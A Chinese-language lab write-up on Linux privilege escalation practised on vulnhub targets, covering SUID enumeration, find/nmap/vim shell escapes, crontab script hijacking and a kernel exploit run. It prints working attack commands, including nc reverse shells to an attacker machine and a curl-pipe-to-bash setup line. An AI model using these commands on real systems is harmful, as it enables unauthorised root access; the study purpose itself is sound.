前言
对vulnhub的部分靶场进行复现,从而总结出linux的简单提权,有些内容参考于网络。这算是Linux总结上一篇, 等利用到一些方式再进行总结。
提权
SUID提权

SUID为给予文件一个特殊的权限。当程序运行时,程序会从文件中执行权限继承权限,SUID定义给用户一个临时的所有者权限。当用户执行文件,就会获得所有者的权限。标记着suid的标识命令会获得权限,比如bash命令,运行bash命令时有SUID标识,SUID标识会继承root权限,就好比A信任B,B信任C,那么A就可以间接的信任C,信任是具有传递性的。
通过以下命令查看到SUID位的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}
被允许执行权限提升的Linux可执行文件
Nmap
Vim
find
Bash
More
Less
Nano
cp
pkexec
look
reset_root

find提权
find用来查询文件,且拥有执行命令能力。如果find以suid权限运行,通过find执行的命令都以root身份运行。
find的命令格式
command:
find path -option [-print] [-exec -ok | xargs|grep] [command {} \;]
path:要查找的路径
1.~表示$home目录
2..表示当前目录
3./表示跟目录
option:查找方式
1.-name filename #查找名为filename的文件
2.-perm #按执行权限来查找
3.-useri username #按文件属性来查找
例子:
1.find / -type f -name getflag -exec “whoami” ; 查看当前用户
2.find / -type f -name getflag -exec “/bin/sh”;
先确定find有无SUID权限,有的话以root权限运行

创建l3ife文件,并赋予SUID位的权限

使用find命令进行执行whoami
find l3ife -exec whoami \;

发现已经以root权限运行,我们进行反弹shell
先在window监听666端口,ip为192.168.1.104

使用centos靶机进行find提权反弹shell,ip为192.168.1.109
find /etc/passwd -exec bash -ip >
发现提权成功

nmap提权
利用条件:
1.低版本:2.02-5.21
2.os版本
nmap --interactive 进入交互模式
nmap -V 查看版本
nmap> !sh 提供提升shell
sh-3.2#whoami
root
在metasploit可以利用suid的nmap进行提权
msf6>exploit/unix/local/setuid_nmap
VIM提权
vim提权思路为发现vim权限存在suid位权限
当vim存在suid权限,直接切换交互式
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
reset_root
在vulnhub的earth存在reset_root提权
reset_root:用来重置root密码
使用reset_root

用nc下载reset_root到本地
nc -lnvp 9999 > reset_root
nc -w 3 192.168.1.106 6666 /usr/bin/reset_root
crontab提权
crontab用来制定计划任务,帮助程序员进行备份,按时执行脚本,计划任务,但是当crontab配置不正确,会导致黑客提权。
先来看看命令格式
* * * * * command
分 时 日 月 周 命令
例子
0 1 * * * /root/backup.sh 每天1:00执行备份程序
列出存在的计划任务
crontab -l

创建一条计划任务
crontab -e 打开文件
*/1 * * * * touch 1.txt //每隔一分钟进行创建1.txt
如果可以纂改定时任务执行的任意脚本,可以使用root权限执行任意代码。
进行初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash

初始化后在root目录存在transhDirectory目录,目录下存在error.log和readme.txt。在shiyanlou用户存在clean.py

我们需要crontab添加定时任务,每一分钟调用cleanup.py脚本清除 ~/trashDirectory数据
添加crontab一条定时任务
* * * * * root python/home/shiyanlou/cleanup.py
大概一分钟后trashDirectory文件夹的数据被清空。
通过重写crontab调用脚本提权,先查看脚本权限
ls -al /home/shiyanlou/cleanup.py

由于cleanup.py以root权限提升,我们可以利用cleanup.py反弹shell
nc 192.168.1.109 666 -e /bin/bash

等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。
内核提权
** 系统内核提权**
这里只学习了DC3的内核提权,具体用到再学习
低权限的用户利用漏洞在本地进行提权
原理是:Linux内核的子系统在处理写入时复制至产生了竞争条件, 恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
竞争条件:任务条件异常,导致应用崩溃,攻击者执行命令,在目标机器提权。
内核提权,通过查找服务器漏洞得到exp文件,运行提权文件
首先确定服务器版本

Ubuntu版本为16.04
searchsploit ubuntu 16.04

tar -xvf exploit.tar#解压文件
cd ebpf_mapfd_doubleput_exploit/ #进入目录
chmod +x compile.sh #授权
./compile.sh#执行脚本
./doubleput #执行提权脚本
等待root权限shell
还有脏牛提权
脏牛分析
脏牛复现
参考
Linux提权命令
内核提权